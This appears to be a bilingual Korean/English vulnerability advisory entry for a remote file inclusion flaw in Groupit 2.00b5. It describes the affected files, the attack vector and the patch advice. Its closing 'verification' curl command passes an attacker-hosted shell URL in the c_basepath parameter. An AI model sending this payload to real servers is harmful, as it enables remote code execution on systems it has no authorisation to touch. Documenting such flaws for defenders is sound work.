🇰🇷 한글 설명
Groupit 2.00b5의 $_GLOBALS 변수 덮어쓰기 취약점으로, 원격 파일 포함(RFI)을 통해 임의의 PHP 코드를 실행할 수 있습니다. c_basepath 매개변수 등을 조작하여 악의적인 파일을 포함시킬 수 있습니다.
💡 쉬운 설명
웹 애플리케이션의 설정 경로를 조작해서 악의적인 코드를 실행할 수 있는 결함입니다. 공격자가 원격에서 서버에 원하는 명령을 실행시킬 수 있습니다.
🇺🇸 원문 (English)
Variable overwrite vulnerability in groupit/base/groupit.start.inc in Groupit 2.00b5 allows remote attackers to conduct remote file inclusion attacks and execute arbitrary PHP code via arguments that are written to $_GLOBALS, as demonstrated using a URL in the c_basepath parameter to (1) content.php, (2) userprofile.php, (3) password.php, (4) dispatch.php, and (5) deliver.php in html/, and possibly (6) load.inc.php and related files.
📍 영향받는 시스템
Groupit 2.00b5 (html/content.php, userprofile.php, password.php, dispatch.php, deliver.php 등)
⚔️ 공격 벡터
c_basepath 등 파라미터를 HTTP 요청으로 조작하여 $_GLOBALS를 덮어쓰고 원격 파일을 포함시킴
🛡️ 대응 방법
Groupit을 패치된 최신 버전으로 업그레이드 및 입력 검증 강화
🔧 검증 코드
HTTP 200 응답과 예상치 못한 파일 포함 시도가 보이면 취약점 존재 가능성
curl -I 'http://target/html/content.php?c_basepath=http://attacker.com/shell.php' 2>/dev/null | grep -E 'HTTP|200'